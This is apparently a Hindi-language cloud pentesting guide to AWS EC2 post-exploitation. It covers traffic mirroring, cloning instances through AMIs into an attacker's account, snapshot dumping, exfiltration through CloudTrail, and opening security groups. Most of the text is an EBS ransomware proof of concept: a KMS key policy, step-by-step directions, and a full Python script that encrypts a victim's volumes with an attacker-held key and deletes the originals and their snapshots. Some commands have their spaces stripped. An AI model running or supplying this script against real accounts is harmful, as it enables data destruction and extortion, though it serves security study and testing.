VPC ट्रैफिक मिररिंग VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफिक को डुप्लिकेट करती है बिना इंस्टेंस पर कुछ भी इंस्टॉल किए। यह डुप्लिकेट ट्रैफिक आमतौर पर नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) जैसे किसी चीज़ को विश्लेषण और मॉनिटरिंग के लिए भेजा जाता है।
एक हमलावर इसका दुरुपयोग करके सभी ट्रैफिक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है:
इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें EC2 प्रिविलेज एस्केलेशन ट्रिक्स)। हालांकि, यह जांचने का एक और तरीका है कि इसमें क्या है एक AMI बनाएं और इससे एक नया इंस्टेंस चलाएं (यहां तक कि अपने खाते में भी):
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots वॉल्यूम के बैकअप होते हैं, जो आमतौर पर संवेदनशील जानकारी रखेंगे, इसलिए इन्हें चेक करने से यह जानकारी मिल सकती है।
यदि आपको बिना स्नैपशॉट के वॉल्यूम मिलता है, तो आप: स्नैपशॉट बना सकते हैं और निम्नलिखित कार्य कर सकते हैं या इसे खाते के अंदर इंस्टेंस में माउंट कर सकते हैं:
एक हमलावर अपने द्वारा नियंत्रित खाते के API endpoints को कॉल कर सकता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail लॉग्स में exfiltrate डेटा देख सकेगा।
Open Security Group
आप इस तरह से पोर्ट खोलकर नेटवर्क सेवाओं तक और अधिक पहुंच प्राप्त कर सकते हैं:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
ECS के लिए Privesc
EC2 instance चलाना और इसे ECS instances चलाने के लिए पंजीकृत करना संभव है और फिर ECS instances का डेटा चुराना।
S3 post-exploitation notes में दिखाए गए Ransomware प्रदर्शन के समान एक proof of concept। KMS को Ransomware Management Service (RMS) के रूप में नामित किया जाना चाहिए क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है।
सबसे पहले 'attacker' AWS account से, KMS में एक customer managed key बनाएं। इस उदाहरण के लिए हम AWS को key data प्रबंधित करने देंगे, लेकिन एक वास्तविक परिदृश्य में एक दुर्भावनापूर्ण अभिनेता key data को AWS के नियंत्रण के बाहर रखेगा। key policy को बदलें ताकि कोई भी AWS account Principal key का उपयोग कर सके। इस key policy के लिए, account का नाम 'AttackSim' था और सभी पहुंच की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है।
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के लिए। हम एक 'victim' खाता उपयोग कर सकते हैं जिसमें कुछ EC2 instances बिना एन्क्रिप्टेड EBS volumes के साथ जुड़े हुए हैं। इस 'victim' खाते के EBS volumes को एन्क्रिप्शन के लिए लक्षित किया जा रहा है, यह हमला एक उच्च-विशेषाधिकार प्राप्त AWS खाते के उल्लंघन के तहत है।
Pasted image 20231231172655
Pasted image 20231231172734
इसका परिणाम केवल एन्क्रिप्टेड EBS volumes खाते में उपलब्ध रह जाते हैं।
Pasted image 20231231173338
यह भी ध्यान देने योग्य है, स्क्रिप्ट ने मूल EBS volumes को अलग और हटाने के लिए EC2 instances को रोक दिया। मूल बिना एन्क्रिप्टेड volumes अब चले गए हैं।
Pasted image 20231231173931
अगला, 'attacker' खाते में कुंजी नीति पर वापस जाएं और कुंजी नीति से 'Outside Encryption' नीति नियम को हटा दें।
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
नए सेट किए गए key policy के प्रचारित होने के लिए एक क्षण प्रतीक्षा करें। फिर 'victim' खाते में वापस जाएं और नए encrypted EBS volumes में से एक को संलग्न करने का प्रयास करें। आप पाएंगे कि आप volume को संलग्न कर सकते हैं।
Pasted image 20231231174131
Pasted image 20231231174258
लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में पुनः प्रारंभ करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'pending' स्थिति से वापस 'stopped' स्थिति में चला जाएगा क्योंकि संलग्न EBS volume को key का उपयोग करके decrypted नहीं किया जा सकता है क्योंकि key policy अब इसे अनुमति नहीं देती है।
Pasted image 20231231174322
Pasted image 20231231174352
यह python script है। यह 'victim' खाते के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। script targeted AWS खाते में संलग्न सभी EC2 instances के सभी उपलब्ध EBS volumes की encrypted प्रतियां बनाएगा, फिर हर EC2 instance को रोक देगा, मूल EBS volumes को अलग करेगा, उन्हें हटा देगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को हटा देगा। यह targeted 'victim' खाते में केवल encrypted EBS volumes छोड़ देगा। इस script का उपयोग केवल एक परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS volumes को हटा देगा। आप उन्हें उपयोग किए गए KMS key का उपयोग करके पुनर्प्राप्त कर सकते हैं और snapshots के माध्यम से उन्हें उनकी मूल स्थिति में पुनर्स्थापित कर सकते हैं, लेकिन बस आपको यह बताना चाहता हूं कि यह अंततः एक ransomware PoC है।
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
S3 ransomware उदाहरण के समान। यह हमला संलग्न EBS volumes की प्रतियां snapshots का उपयोग करके बनाएगा, 'attacker' खाते से सार्वजनिक रूप से उपलब्ध कुंजी का उपयोग करके नए EBS volumes को एन्क्रिप्ट करेगा, फिर मूल EBS volumes को EC2 instances से अलग करेगा और उन्हें हटा देगा, और अंत में नए एन्क्रिप्टेड EBS volumes बनाने के लिए उपयोग किए गए snapshots को हटा देगा।